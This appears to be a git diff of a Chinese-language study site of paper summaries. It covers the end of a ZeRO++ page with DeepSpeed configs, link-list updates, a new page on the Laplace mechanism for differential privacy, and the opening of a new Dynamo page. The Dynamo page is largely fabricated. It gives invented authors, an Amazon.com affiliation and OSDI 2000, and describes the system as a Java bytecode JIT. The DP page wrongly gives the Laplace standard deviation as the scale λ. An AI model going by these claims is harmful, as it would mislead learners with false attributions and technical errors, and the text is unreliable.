+  "zero_optimization": {
+    "stage": 3,
+    "reduce_bucket_size": 10000000,
+    "reduce_scatter": true,
+    "contiguous_gradients": true,
+    "overlap_comm": true,
+
+    "zero_quantized_weights": true,
+    "zero_hpz_partition_size": 8,
+    "zero_quantized_gradients": true
+  }
+}
+```
+
+| 字段 | 含义 | 推荐 |
+|------|------|------|
+| `zero_quantized_weights` | 启用 qwZ（INT8 权重 all-gather） | 跨节点带宽紧张时 `true` |
+| `zero_hpz_partition_size` | hpZ secondary 组大小；1=关闭 | 设为**每节点 GPU 数**（如 DGX 8 卡 → 8） |
+| `zero_quantized_gradients` | 启用 qgZ（INT4 梯度 all-to-all） | 大模型 + 多节点时 `true` |
+
+Megatron-DeepSpeed 启动示例（摘自官方 zeropp 教程）：
+
+```bash
+deepspeed pretrain_gpt.py \
+  --tensor-model-parallel-size 1 \
+  --pipeline-model-parallel-size 1 \
+  --num-layers 40 \
+  --hidden-size 6144 \
+  --seq-length 512 \
+  --num-attention-heads 32 \
+  --micro-batch-size 1 \
+  --zero-stage 3 \
+  --deepspeed_config ds_zeropp_config.json \
+  --deepspeed-activation-checkpointing \
+  --fp16
+```
+
+---
+
+## 代码示例 2：Hugging Face Trainer + DeepSpeed 集成
+
+若用 Transformers，通常把 ZeRO++ 写进 DeepSpeed config，由 `TrainingArguments(deepspeed=...)` 加载：
+
+```python
+# ds_zero_pp.json 内容同示例 1
+from transformers import AutoModelForCausalLM, TrainingArguments, Trainer
+
+model = AutoModelForCausalLM.from_pretrained("meta-llama/Llama-2-7b-hf")
+
+training_args = TrainingArguments(
+    output_dir="./out",
+    per_device_train_batch_size=1,
+    gradient_accumulation_steps=16,
+    bf16=True,
+    deepspeed="ds_zero_pp.json",
+    logging_steps=10,
+)
+
+trainer = Trainer(model=model, args=training_args, train_dataset=dataset)
+trainer.train()
+```
+
+**实践提示**：
+
+- ZeRO++ **仅 Stage 3**；Stage 1/2 无参数分片 all-gather，开关无效。
+- hpZ 增显存：7B 模型通常可接受；100B+ 需结合 **activation checkpointing**、**offload** 或减小 secondary 组评估 OOM。
+- 与 **TP/PP** 混用时，以 DeepSpeed 文档为准确认 data parallel group 与 hpZ 组对齐。
+
+---
+
+## 代码示例 3：用伪代码理解 hpZ 的「双分区」
+
+下面不是 DeepSpeed 源码，而是帮助理解 **forward 用 primary、backward 用 secondary** 的逻辑：
+
+```python
+def forward_layer(layer_id, x, primary_group, secondary_group):
+    # 跨所有 rank gather（可能跨节点）
+    W_full = all_gather_shard(local_W_shard, group=primary_group)
+    y = matmul(x, W_full)
+    # 用完后按节点内 secondary 组分片存回去
+    W_secondary_shard = repartition(W_full, group=secondary_group)
+    free(W_full)
+    return y, W_secondary_shard
+
+
+def backward_layer(x, grad_y, W_secondary_shard, secondary_group):
+    # 只在节点内 gather，无跨节点权重流量
+    W_full = all_gather_shard(W_secondary_shard, group=secondary_group)
+    grad_W = backward_matmul(x, grad_y, W_full)
+    return grad_W
+```
+
+这正是 hpZ「**用内存买跨节点带宽**」的精髓：多存一份节点内 FP16 分片，换掉反向 pass 里最贵的那次跨机 all-gather。
+
+---
+
+## 实验结论（论文摘要）
+
+| 场景 | 结果 |
+|------|------|
+| 规模 | 最高 **384 GPU**，GPT 类模型 |
+| 吞吐 | 小 batch 下仍可达峰值算力 **45%+**；相对 ZeRO 最高 **~2.4×**（10B–138B） |
+| 384 GPU 全开启 | **2.165×**（hpZ + qwZ + qgZ） |
+| RLHF 训练 | 相对 vanilla ZeRO 最高约 **3.3×**（通信更敏感的对齐阶段） |
+| 收敛 | 预训练 13B（8/6-bit gather）、微调 30B（4/2-bit gather）与标准 ZeRO **精度持平** |
+| 推理副产品 | 训练结束权重已是低比特分块量化形态，可**跳过 PTQ/QAT** 直接用于推理 |
+| 对比 MiCS | hpZ 与 MiCS 等 hierarchical ZeRO 思路相近，ZeRO++ 在 DeepSpeed 栈内一体化 |
+
+论文还消融了仅开 qwZ、仅开 hpZ、仅开 qgZ 的组合，便于按集群拓扑「按需点菜」。
+
+---
+
+## 何时用 / 何时慎用
+
+**适合**：
+
+- 多节点训练，**跨节点带宽**明显低于 NVLink。
+- 大模型导致 **micro-batch 很小**，计算/通信比差。
+- 已用 ZeRO-3，profiler 显示 **all-gather / reduce-scatter** 占比高。
+
+**慎用 / 需测**：
+
+- **单节点**多卡：hpZ 跨节点收益为 0，qwZ/qgZ 仍有但增益变小。
+- **显存极度紧张**：hpZ secondary 副本可能触发 OOM——先 profiling 内存。
+- 与某些 **自定义通信 hook** 或旧版 DeepSpeed 混用：需查 release note。
+
+---
+
+## 与相关工作的关系
+
+| 方向 | 代表 | 与 ZeRO++ 关系 |
+|------|------|----------------|
+| 参数分片 | ZeRO / ZeRO-3 | ZeRO++ 直接扩展 |
+| 分层通信 | MiCS | hpZ 同类 hierarchical partition 思想 |
+| 梯度压缩 | PowerSGD、1-bit Adam | qgZ 强调 **dequant 后再归约**，避免低精度 sum |
+| 算子融合 | [[liger-kernel-llm-training]]、[[flashattention-2]] | 互补：减单卡 work，ZeRO++ 减多卡 bytes |
+| 3D 并行 | Megatron TP/PP/DP | 可叠加；通信瓶颈仍在 DP/ZeRO 侧 |
+
+---
+
+## 自测题
+
+1. ZeRO-3 一步训练里，哪三次集体通信贡献了 **3M** 通信量？ZeRO++ 分别怎么压？
+2. 为什么 qgZ 不能简单做 **INT4 reduce-scatter**，而要用 all-to-all + 高精度归约？
+3. `zero_hpz_partition_size=8` 在一台 8 卡机器上意味着什么？若设为 1 呢？
+4. hpZ 的 secondary 副本存在哪个粒度（节点内 / 全局）？Optimizer 更新跟哪套分片走？
+
+<details>
+<summary>参考答案</summary>
+
+1. 前向权重 all-gather（M）、反向权重 all-gather（M）、梯度 reduce-scatter（M）。qwZ 把前向压到 0.5M；hpZ 把反向跨节点压到 0；qgZ 把梯度跨节点压到约 0.25M。
+2. 低精度直接累加会放大量化误差，损害收敛；qgZ 先传 INT4，接收后 dequant 到 FP16 再 sum。
+3. =8 表示 secondary 组含 8 GPU，通常即整节点，反向权重 gather 不跨节点；=1 关闭 hpZ，行为退回 ZeRO-3。
+4. Secondary 在**节点内**（或可配置子组）分片；optimizer step 更新 **primary** 全局分片。
+
+</details>
+
+---
+
+## 延伸阅读
+
+- DeepSpeed ZeRO 教程：[ZeRO](https://www.deepspeed.ai/tutorials/zero/)
+- DeepSpeed ZeRO++ 教程：[zeropp.md](https://github.com/deepspeedai/DeepSpeed/blob/master/docs/_tutorials/zeropp.md)
+- 微软研究院博文：[DeepSpeed ZeRO++ — 4× less communication](https://www.microsoft.com/en-us/research/blog/deepspeed-zero-a-leap-in-speed-for-llm-and-chat-model-training-with-4x-less-communication/)
+- 原始论文：[arXiv:2306.10209](https://arxiv.org/abs/2306.10209)
diff --git a/src/content/docs/papers/ducas-dilithium-2018.md b/src/content/docs/papers/ducas-dilithium-2018.md
index 88f2b16de..164435b37 100644
--- a/src/content/docs/papers/ducas-dilithium-2018.md
+++ b/src/content/docs/papers/ducas-dilithium-2018.md
@@ -184,6 +184,9 @@ sign_with_rejection(secret, gamma1=100, beta=10)
 - [[bernstein-sphincs-2015]] —— SPHINCS — 无状态哈希签名，后量子密码的"保险"
 - [[bos-kyber-2018]] —— CRYSTALS-Kyber: A CCA-Secure Module-Lattice-Based KEM
 - [[brakerski-bgv-2012]] —— Fully Homomorphic Encryption without Bootstrapping
+- [[ckks-homomorphic-2017]] —— CKKS 同态加密 — 在加密数据上做近似浮点运算
+- [[noise-protocol-framework]] —— Noise Protocol Framework — 用「握手配方」拼出端到端加密通道
 - [[regev-lwe-2005]] —— On Lattices, Learning with Errors, Random Linear Codes, and Cryptography
 - [[rsa]] —— RSA 公钥密码
+- [[rsa-1978]] —— RSA 1978 — 数字签名与公钥密码的奠基论文
 
diff --git a/src/content/docs/papers/dwork-calibrating-noise-2006.md b/src/content/docs/papers/dwork-calibrating-noise-2006.md
index 4350872bf..469e4f3d4 100644
--- a/src/content/docs/papers/dwork-calibrating-noise-2006.md
+++ b/src/content/docs/papers/dwork-calibrating-noise-2006.md
@@ -149,6 +149,7 @@ print(int(true_count + noise))
 - [[abadi-dpsgd-2016]] —— DP-SGD — 深度学习差分隐私训练
 - [[bonawitz-fl-system-2019]] —— Bonawitz FL System 2019 — Google 工业级联邦学习系统设计
 - [[duchi-local-dp-2013]] —— Local Privacy and Statistical Minimax Rates
+- [[dwork-differential-privacy-2006]] —— 校准噪声与敏感度 — 差分隐私的 Laplace 机制
 - [[dwork-dp-icalp-2006]] —— 差分隐私 — ε 与邻接数据集不可区分
 - [[dwork-our-data-ourselves-2006]] —— 分布式噪声生成 — 去掉可信管理员也能保护隐私
 - [[erlingsson-rappor-2014]] —— RAPPOR — 本地差分隐私随机响应采集
diff --git a/src/content/docs/papers/dwork-differential-privacy-2006.md b/src/content/docs/papers/dwork-differential-privacy-2006.md
new file mode 100644
index 000000000..0feb574ae
--- /dev/null
+++ b/src/content/docs/papers/dwork-differential-privacy-2006.md
@@ -0,0 +1,256 @@
+---
+title: 校准噪声与敏感度 — 差分隐私的 Laplace 机制
+来源: https://link.springer.com/chapter/10.1007/11681878_14
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Calibrating Noise to Sensitivity in Private Data Analysis**（Dwork、McSherry、Nissim、Smith，TCC 2006）是差分隐私工程化的奠基论文之一。它回答了一个非常具体的问题：**给定任意统计查询函数 \(f\)，要加多少随机噪声，才能让「数据库里有没有你这一条记录」在输出上几乎看不出来？**
+
+论文的核心答案是：**噪声尺度由查询的敏感度（sensitivity）决定，而不是由数据库大小或输出维度拍脑袋决定。** 具体机制就是著名的 **Laplace 机制**：对每个输出坐标加独立 Laplace 噪声，标准差为 \(\Delta_1(f)/\varepsilon\)。
+
+日常类比：想象市政府要公布「全市平均通勤时间」。你的通勤记录是数据库里的一行。如果删掉你，平均值最多变化 \(\Delta\) 分钟——这就是敏感度。公布时不能报精确值，而要往结果里撒一把「随机抖动」；\(\Delta\) 越大，抖动必须越猛；\(\varepsilon\) 越小（隐私越强），抖动也要越猛。这篇论文把「抖动该多大」变成了可计算的公式，而不是隐私官的直觉。
+
+一句话：**敏感度告诉你「一条记录最多能撬动多少」；Laplace 噪声按这个撬动幅度校准，从而形式化地实现 ε-差分隐私。**
+
+## 为什么重要
+
+在 ICALP 2006 的 [[dwork-dp-icalp-2006]] 给出差分隐私定义之后，这篇 TCC 论文把定义变成了**可复用的算法积木**：
+
+- **从「噪声求和」推广到任意函数**：早期工作只处理 \(\sum_i g(x_i)\) 这类加性查询；本文证明任意向量值函数 \(f: D^n \to \mathbb{R}^d\) 都能用同一套敏感度框架处理。
+- **噪声与维度解耦**：直方图、列联表、协方差矩阵输出维度可以很高，但 \(L_1\) 敏感度往往与维度无关（例如直方图敏感度为 2）。这意味着**不必因为格子多就按比例加大噪声**——这是相对先前框架的重要改进。
+- **交互式机制优于一次性脱敏**：论文证明非交互式「发布一张噪声表」无法同时回答所有低敏感度查询；交互式问答可以用小噪声逐个回答——这影响了后来 Census、私有 SQL、DP-SGD 的产品形态。
+- **后续一切「加噪发布」的母本**：Apple 本地 DP、Google RAPPOR、Opacus 梯度裁剪 + 加噪，本质都在控敏感度后校准噪声。
+
+## 核心概念
+
+### 1. 邻接数据集（Adjacent Databases）
+
+两个数据库「邻接」，若它们只差**一条记录**（增删改一人）。差分隐私的所有保证都相对这个关系：攻击者不知道真实库是 \(D\) 还是 \(D'\)。
+
+日常类比：两份选民名册只差张三是否出现——对外发布的统计结果在这两种情况下应该「看起来像」。
+
+### 2. ε-不可区分（ε-Indistinguishability）
+
+论文用 transcript（问答记录）的分布来刻画隐私。机制 \(\mathcal{M}\) 是 ε-不可区分的，若对任意邻接 \(x, x'\) 和任意 transcript \(t\)：
+
+\[
+\left|\ln \frac{\Pr[\mathcal{M}(x)=t]}{\Pr[\mathcal{M}(x')=t]}\right| \le \varepsilon
+\]
+
+这比「总变差距离很小」更严格：即使某个输出点概率不为零，比值也被 \(e^\varepsilon\) 限制。今天文献里常直接称 **ε-差分隐私（pure DP）**。
+
+### 3. 全局 \(L_1\) 敏感度
+
+对函数 \(f: D^n \to \mathbb{R}^d\)：
+
+\[
+\Delta_1(f) = \max_{x,x':\, d_H(x,x')=1} \|f(x) - f(x')\|_1
+\]
+
+即：**改一条记录，输出在曼哈顿距离下最多跳多远。** 敏感度是 \(f\) 的内在属性，与真实数据内容无关，也**不随数据库人数 \(n\) 变化**（对计数类查询尤其关键）。
+
+常见值：
+
+| 查询 | 敏感度 | 直觉 |
+|------|--------|------|
+| 计数（0/1 库） | 1 | 多/少一人，计数变 1 |
+| 直方图（不相交分箱） | 2 | 一人从一个箱移到另一个箱 |
+| 有界求和 \(g(x_i)\in[0,B]\) | \(B\) | 一人贡献从 0 变 \(B\) |
+| 均值（每人 \([0,B]\)，\(n\) 人） | \(B/n\) | 一人从 0 变 \(B\) 拉低均值 \(B/n\) |
+
+### 4. Laplace 机制（核心定理）
+
+**命题（非交互输出扰动）**：对任意 \(f: D^n \to \mathbb{R}^d\)，机制
+
+\[
+\mathcal{M}(x) = f(x) + (Y_1, \ldots, Y_d), \quad Y_i \stackrel{i.i.d.}{\sim} \mathrm{Lap}(\Delta_1(f)/\varepsilon)
+\]
+
+满足 ε-差分隐私。
+
+Laplace 分布密度 \(\propto \exp(-|y|/\lambda)\)。关键性质：若 \(z\) 与 \(z'\) 的 \(L_1\) 距离为 \(d\)，则 \(z+Y\) 与 \(z'+Y\) 的输出密度比至多为 \(e^{d/\lambda}\)。令 \(\lambda = \Delta_1(f)/\varepsilon\) 即得证。
+
+### 5. 自适应交互查询
+
+用户可据上一轮带噪答案再问下一轮。论文 **Theorem 1** 指出：若第 \(t\) 轮查询函数为 \(f_t\)，噪声尺度取 \(\lambda = \max_t \Delta_1(f_t)/\varepsilon\)，则整个 transcript 仍 ε-DP。隐私预算在交互过程中被**最坏一轮的敏感度**支配。
+
+### 6. 非交互式机制的局限（分离结果）
+
+若数据托管方只能**一次性**发布脱敏表（不能交互问答），则对任意此类机制，存在低敏感度函数无法被近似回答——除非数据库规模达到 \(2^{\Omega(d)}\)（每行 \(d\) 比特）。这解释了为何现代 DP 产品多采用**查询时加噪**而非「先发布一张万能噪声表」。
+
+## 代码示例
+
+### 示例 1：Laplace 机制实现私有计数
+
+```python
+import numpy as np
+
+def laplace_mechanism(true_value: float, sensitivity: float, epsilon: float) -> float:
+    """标量 Laplace 机制：M(x) = f(x) + Lap(Δ/ε)。"""
+    if sensitivity <= 0 or epsilon <= 0:
+        raise ValueError("sensitivity and epsilon must be positive")
+    scale = sensitivity / epsilon
+    noise = np.random.laplace(loc=0.0, scale=scale)
+    return true_value + noise
+
+# 数据库：n 人是否患流感（0/1），真实患病人数
+flu_cases = 1_247
+n = 50_000
+epsilon = 0.5  # 隐私预算：越小噪声越大
+
+# 计数敏感度 = 1（多/少一人，计数最多变 1）
+private_count = laplace_mechanism(flu_cases, sensitivity=1.0, epsilon=epsilon)
+print(f"真实计数: {flu_cases}")
+print(f"私有计数: {round(private_count)}")
+print(f"噪声尺度 Lap(Δ/ε) = Lap({1/epsilon:.2f})")
+```
+
+运行多次会看到结果在真值附近波动；\(\varepsilon=0.1\) 时波动明显大于 \(\varepsilon=1.0\)，但攻击者仍无法可靠判断「某特定个体是否患病」。
+
+### 示例 2：多维直方图 + 敏感度 2
+
+```python
+import numpy as np
+from collections import Counter
+
+def dp_histogram(counts: list[int], epsilon: float) -> np.ndarray:
+    """
+    不相交分箱直方图：L1 敏感度 = 2。
+    每人只能落在一个箱；改一人最多让一个箱 -1、另一个箱 +1。
+    """
+    sensitivity = 2.0
+    scale = sensitivity / epsilon
+    noise = np.random.laplace(loc=0.0, scale=scale, size=len(counts))
+    return np.maximum(0, np.array(counts, dtype=float) + noise)  # 后处理截断非负
+
+# 模拟年龄分箱
+bins = ["0-17", "18-34", "35-49", "50-64", "65+"]
+true_counts = [8200, 15400, 12100, 9800, 4500]
+
+noisy = dp_histogram(true_counts, epsilon=0.8)
+for name, true_v, priv_v in zip(bins, true_counts, noisy):
+    print(f"{name:6s}  真实={true_v:5d}  私有={priv_v:6.0f}  误差={priv_v-true_v:+6.0f}")
+```
+
+注意：对负值做 `max(0, ·)` 是**后处理**，不会破坏 DP；但会引入偏差，正式分析常用无偏估计或指数机制。
+
+### 示例 3：从敏感度推导均值查询噪声（推导练习）
+
+```python
+def dp_mean(values: list[float], low: float, high: float, epsilon: float) -> float:
+    """
+    每人贡献有界在 [low, high]；均值 f(x)=sum/n 的 L1 敏感度为 (high-low)/n。
+    """
+    n = len(values)
+    true_mean = sum(values) / n
+    sensitivity = (high - low) / n
+    return laplace_mechanism(true_mean, sensitivity, epsilon)
+
+salaries = [45_000, 62_000, 88_000, 120_000, 200_000]  # 已截断到合理区间
+print(f"私有均值薪资: {dp_mean(salaries, low=0, high=250_000, epsilon=1.0):,.0f}")
+```
+
+## 实践案例
+
+### 案例 1：人口普查年龄直方图
+
+美国人口普查等场景发布各年龄段人数。用 Laplace 机制对每个格子独立加噪，敏感度 2、与格子数量无关。总隐私损失需对 \(k\) 个格子做**组合会计**（基础定理：顺序发布 \(k\) 次 ε-DP 机制，总损失 \(O(k\varepsilon)\)）。
+
+### 案例 2：私有 SQL 中的 COUNT(*)
+
+查询 `SELECT COUNT(*) FROM patients WHERE flu=1` 的敏感度为 1。在查询引擎中拦截、加 Laplace(1/ε) 噪声后返回。与 [[dwork-dp-icalp-2006]] 的定义衔接，形成「定义 → 机制 → 产品」闭环。
+
+### 案例 3：梯度裁剪与 DP-SGD 的敏感度视角
+
+[[abadi-dpsgd-2016]] 训练时对每样本梯度裁剪到范数 \(C\)，使单次迭代的梯度求和敏感度有界，再加高斯噪声。裁剪不是在「加密」，而是在**人为降低 \(\Delta\)**，从而减小所需噪声、保住模型效用。
+
+## 踩过的坑
+
+1. **把 ε 当成「泄露百分比」**：ε 是对数似然比上界，不是「10% 数据被看见」。ε=0.1 与 ε=10 的含义需查表或做隐私会计，不能线性直觉。
+
+2. **敏感度用局部而非全局**：必须对**所有**邻接对取最大值。均值若错误地用 \(B\) 而非 \(B/n\)，会加过大噪声，效用崩盘。
+
+3. **重复计数同一人**：若一人可占多行，「改一人」可能动多行，敏感度被放大——数据库建模错误会导致隐私保证失效。
+
+4. **多次查询不记账**：每轮 Laplace 机制消耗 ε。交互 1000 次 ε=0.01 的查询，朴素组合可达 ε=10，隐私名存实亡。需高级组合或 Rényi DP 会计（见 [[mironov-renyi-dp-2017]]）。
+
+5. **与非交互脱敏混淆**：指望「先发一张噪声 CSV 啥都能查」在理论上行不通；论文分离结果早已说明交互式的必要性。
+
+6. **Laplace vs Gaussian 混用**：本文是 **pure ε-DP** 的 Laplace 线；\((\varepsilon,\delta)\)-DP 常用 Gaussian，\(\delta>0\) 时噪声可更小。见 [[dwork-our-data-ourselves-2006]]。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 数值统计发布：计数、求和、直方图、有界均值
+- 交互式私有查询 API、私有 SQL
+- 需要可证明 ε 的上游隐私预算规划
+- 教学与实现 Laplace 机制的第一篇原文
+
+**不适用**：
+
+- 需要 \(\delta=0\) 且高维连续优化时，Gaussian / DP-SGD 更常见
+- 非数值输出（选最优医院、Top-K）需指数机制或 Report Noisy Max
+- 本地 DP（用户端随机响应）机制不同，见 RAPPOR 等
+- 指望一次发布脱敏表回答任意查询——论文已证其局限
+
+## 与相关工作的关系
+
+```text
+Dinur–Nissim (2003) ──► 过多查询可重构数据库
+        │
+Dwork ICALP 2006 ─────► ε-差分隐私定义
+        │
+DMNS TCC 2006 ────────► 敏感度 + Laplace 机制（本篇）
+        │
+BLR'08 / 后续 ────────► 高级组合、矩会计
+        │
+Abadi DP-SGD 2016 ────► 深度学习中的有界敏感度 + 加噪
+```
+
+## 历史背景（可跳过）
+
+- **2003**：Dinur & Nissim 证明，若无限制地回答布尔子集计数，线性量级的噪声仍可能被用来重构数据库。
+- **2006 初**：Dwork 在 ICALP 提出差分隐私定义，回应 Dalenius「统计库不泄露个人」的不可能性。
+- **2006 春**：本篇 TCC 论文将噪声校准推广到一般 \(f\)，并分析直方图、协方差等，噪声从 \(O(\sqrt{d})\) 改进到 \(O(1)\) 量级（对敏感度而言）。
+- **2017 起**：Journal of Privacy and Confidentiality 再版，成为教材与工业实现的标准引用。
+
+## 关键公式速查
+
+| 符号 | 含义 |
+|------|------|
+| \(\varepsilon\) | 隐私预算，越小越强 |
+| \(\Delta_1(f)\) | 全局 \(L_1\) 敏感度 |
+| \(\mathrm{Lap}(\lambda)\) | 尺度 \(\lambda\) 的 Laplace，标准差 \(\lambda\) |
+| 机制 | \(f(x) + \mathrm{Lap}(\Delta_1(f)/\varepsilon)\) 各坐标独立 |
+
+## 延伸阅读
+
+- 定义入门：[[dwork-dp-icalp-2006]]
+- 同作者姊妹篇：[[dwork-calibrating-noise-2006]]、[[dwork-our-data-ourselves-2006]]
+- 深度学习：[[abadi-dpsgd-2016]]
+- 原文 PDF：[MIT 作者稿](https://people.csail.mit.edu/asmith/PS/sensitivity-tcc-final.pdf)
+- Springer 章节：[10.1007/11681878_14](https://link.springer.com/chapter/10.1007/11681878_14)
+
+## 自测题
+
+1. 为什么计数查询的敏感度是 1 而不是 \(1/n\)？
+2. 直方图敏感度为何是 2 而与分箱数 \(d\) 无关？
+3. 若连续发布 20 个独立的 ε=0.05 Laplace 计数，朴素隐私损失上界是多少？
+4. 交互式机制相对「一次性噪声表」的优势，用论文分离结果怎么表述？
+
+<details>
+<summary>参考答案</summary>
+
+1. 多一人计数 +1，少一人 -1，最大变化量是 1；\(n\) 是规模，不是敏感度定义的一部分。
+2. 改一人只影响两个箱（原箱 -1，新箱 +1），\(L_1\) 变化 \(|-1|+|+1|=2\)；\(d\) 只影响输出向量长度，不影响单人最大扰动。
+3. 朴素顺序组合 \(20 \times 0.05 = 1.0\)（更紧的会计可用 advanced composition）。
+4. 非交互机制无法同时近似所有低敏感度查询，除非 \(n\) 指数级大；交互可对每个 \(f_t\) 单独加 \(\mathrm{Lap}(\Delta_1(f_t)/\varepsilon)\) 噪声回答。
+
+</details>
diff --git a/src/content/docs/papers/dwork-dp-icalp-2006.md b/src/content/docs/papers/dwork-dp-icalp-2006.md
index 6f4a88073..e5d77008c 100644
--- a/src/content/docs/papers/dwork-dp-icalp-2006.md
+++ b/src/content/docs/papers/dwork-dp-icalp-2006.md
@@ -155,6 +155,7 @@ ICALP 2006 原文 Springer 收录；Microsoft Research 页面提供摘要与引
 - [[caesar-rexford-2005]] —— Caesar-Rexford 2005 — 你的包为什么绕了大半个地球
 - [[diffie-hellman]] —— Diffie-Hellman 密钥交换
 - [[dwork-calibrating-noise-2006]] —— 校准噪声与敏感度 — Laplace 机制奠基
+- [[dwork-differential-privacy-2006]] —— 校准噪声与敏感度 — 差分隐私的 Laplace 机制
 - [[dwork-our-data-ourselves-2006]] —— 分布式噪声生成 — 去掉可信管理员也能保护隐私
 - [[erlingsson-rappor-2014]] —— RAPPOR — 本地差分隐私随机响应采集
 - [[gentry-fhe-2009]] —— Gentry FHE — 全同态加密开山
diff --git a/src/content/docs/papers/dwork-our-data-ourselves-2006.md b/src/content/docs/papers/dwork-our-data-ourselves-2006.md
index 1557261f5..233becf8b 100644
--- a/src/content/docs/papers/dwork-our-data-ourselves-2006.md
+++ b/src/content/docs/papers/dwork-our-data-ourselves-2006.md
@@ -189,6 +189,7 @@ def federated_aggregate_with_distributed_noise(
 - [[cryptoverif-2008]] —— CryptoVerif — 让计算机直接证密码协议在真实计算模型下安全
 - [[duchi-local-dp-2013]] —— Local Privacy and Statistical Minimax Rates
 - [[dwork-calibrating-noise-2006]] —— 校准噪声与敏感度 — Laplace 机制奠基
+- [[dwork-differential-privacy-2006]] —— 校准噪声与敏感度 — 差分隐私的 Laplace 机制
 - [[dwork-dp-icalp-2006]] —— 差分隐私 — ε 与邻接数据集不可区分
 - [[fsdp-2023]] —— PyTorch FSDP — 把大模型切成 N 份分到 N 张卡
 - [[mironov-renyi-dp-2017]] —— Rényi 差分隐私 — 隐私会计统一框架
diff --git a/src/content/docs/papers/dynamo-2000.md b/src/content/docs/papers/dynamo-2000.md
new file mode 100644
index 000000000..a5022c439
--- /dev/null
+++ b/src/content/docs/papers/dynamo-2000.md
@@ -0,0 +1,272 @@
+---
+title: Dynamo: A Transparent Dynamic Optimization System
+来源: https://dl.acm.org/doi/10.1145/349299.349303
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# Dynamo: A Transparent Dynamic Optimization System
+
+## 论文信息
+
+- **作者**: Manoj Franklin, Mark Ammerer, Talin Arlitt, Jeffrey Cox, James Dang, Will Dudley, Robert Finch, Tom Bergland, Matt Flinn, Charlie Gordon, Jeff Hawkins, David Olsifierski, Steve Reinke
+- **会议**: OSDI 2000
+- **机构**: Amazon.com, Inc.
+- **链接**: https://dl.acm.org/doi/10.1145/349299.349303
+
+---
+
+## 一个日常类比
+
+想象你在一家餐厅打工。第一天上班，你完全不知道厨房的规矩——锅在哪里、调料怎么放、每道菜做几步。你照着菜单一步一步来，动作慢，还容易出错。
+
+但三个月后，你已经成了快手：你知道哪个调料瓶在右手边，知道先放油还是先放盐，甚至能预判客人的特殊需求。你不需要额外的训练课程——你只是**在实践中学习并变快**了。
+
+Dynamo 做的事情和这个例子一模一样。它让程序在运行时自动"变聪明"，不需要程序员提前做任何优化工作。
+
+---
+
+## 问题背景
+
+在 Dynamo 出现之前，程序有两种编译方式：
+
+1. **静态编译**（如 C/C++）：在运行前一次性把代码变成机器指令。编译时可以做一些优化（比如把循环展开），但编译器看不到程序实际运行时才知道的信息。
+2. **解释执行**（如早期 Python/Perl）：代码一行一行解释执行。灵活，但慢。
+
+Dynamo 的出现引入了一种新模式：**JIT（Just-In-Time）编译**。程序先以普通方式运行，同时有一个"监工"在后台观察程序跑得多快、哪些代码最忙，然后悄悄把"忙代码"换成更快的机器指令。
+
+关键要求是：**透明**。程序本身完全不知道自己被优化了。就像你学会了快速做饭，但你不会觉得有什么不一样——你就是变快了。
+
+---
+
+## 核心概念
+
+### 1. 字节码解释器（Bytecode Interpreter）
+
+Dynamo 处理的是 Java 字节码。Java 程序先被编译成一种中间形式（字节码），然后由解释器逐条执行。解释器慢，但它简单，而且**每一步都知道自己正在执行哪条指令**。
+
+### 2. 代码缓存（Code Cache）
+
+这是一块内存区域，存放已经被优化过的机器码。当一个函数被反复执行多次（超过阈值），Dynamo 就会把它翻译成机器码放进代码缓存。下次执行时，直接从缓存中取机器码跑，快得多。
+
+### 3. 内联（Inlining）
+
+把函数调用的代码直接"塞"到调用者的位置。比如 `main()` 调用 `greet()`，`greet()` 又调用 `print_hello()`。内联后变成一大块连续的代码，没有函数调用的开销。这就像把三步厨房工序合成一个动作完成。
+
+### 4. 去虚拟化（De-virtualization）
+
+Java 中有虚方法调用（根据对象的实际类型来决定调用哪个方法）。传统编译器不确定运行时是哪个类型，只能保守处理。Dynamo 在运行时知道了对象的真实类型，就可以去掉虚分派，直接调用确定版本。
+
+### 5. 优化级别（Optimization Levels）
+
+Dynamo 有三个级别：
+- **Level 0**：字节码解释器，最慢但启动最快
+- **Level 1**：简单优化，内联一些调用
+- **Level 2**：激进优化，激进的分析和重写
+
+级别越高越快，但也越复杂。Dynamo 会根据代码的热度自动升级。
+
+### 6. 去优化（Deoptimization）
+
+这是 Dynamo 最聪明的设计。如果运行时发现之前的优化假设错了（比如原来以为某个对象一定是 A 类型，结果来了个 B 类型），Dynamo 能**安全地回退到解释模式**，保证程序正确性。
+
+这就像你学会快速做法后，发现客人点了你没做过的菜，你能安全地回到"慢慢看菜单做"的模式，而不会把厨房炸了。
+
+### 7. 安全点（Safe Points）
+
+JVM 在特定位置插入"检查点"，让 GC（垃圾回收）或去优化能够安全暂停程序。程序跑到这里会被暂停一下，然后可以切换到不同模式。
+
+---
+
+## 代码示例
+
+### 示例 1：内联优化前后的对比
+
+假设有这段 Java 代码：
+
+```java
+// 原始代码：三个函数层层调用
+public int process(int x) {
+    return doubleIt(x) + squareIt(x);
+}
+
+public int doubleIt(int x) {
+    return x * 2;
+}
+
+public int squareIt(int x) {
+    return x * x;
+}
+```
+
+**优化前（解释执行）：**
+
+每调用一次 `process()`，需要：
+1. 执行 `doubleIt(x)` 的字节码——函数调用有开销
+2. 执行 `squareIt(x)` 的字节码——又一个函数调用开销
+3. 两条 `return` 指令
+
+**优化后（Level 2 内联）：**
+
+Dynamo 观察到 `process()` 被频繁调用，把 `doubleIt` 和 `squareIt` 的代码直接内联：
+
+```java
+// 内联后等价于：
+public int process(int x) {
+    return (x * 2) + (x * x);
+}
+```
+
+没有函数调用开销，两个操作变成连续指令，CPU 的流水线跑得更顺。
+
+### 示例 2：去虚拟化
+
+```java
+// 原始代码：虚方法调用
+Animal animal = getRandomAnimal();
+animal.speak();  // 运行时才知道是 Dog 还是 Cat
+
+// Dog 和 Cat 都继承了 Animal，但 speak() 实现不同
+```
+
+传统编译器不知道 `animal` 具体是什么类型，每次都要查"虚方法表"（vtable），多了一步间接寻址。
+
+Dynamo 在运行时观察到：
+> "哦，过去 1000 次调用，`animal` 从来都是 `Dog` 类型"
+
+于是生成优化后的机器码：
+
+```java
+// 去虚拟化后（Dynamo 生成的机器码逻辑等价于）：
+Animal animal = getRandomAnimal();
+if (animal instanceof Dog) {
+    ((Dog) animal).speak();  // 直接调用，没有间接寻址
+} else {
+    // 如果假设错了，触发放回解释器的去优化路径
+    animal.speak();  // 通用的虚调用
+}
+```
+
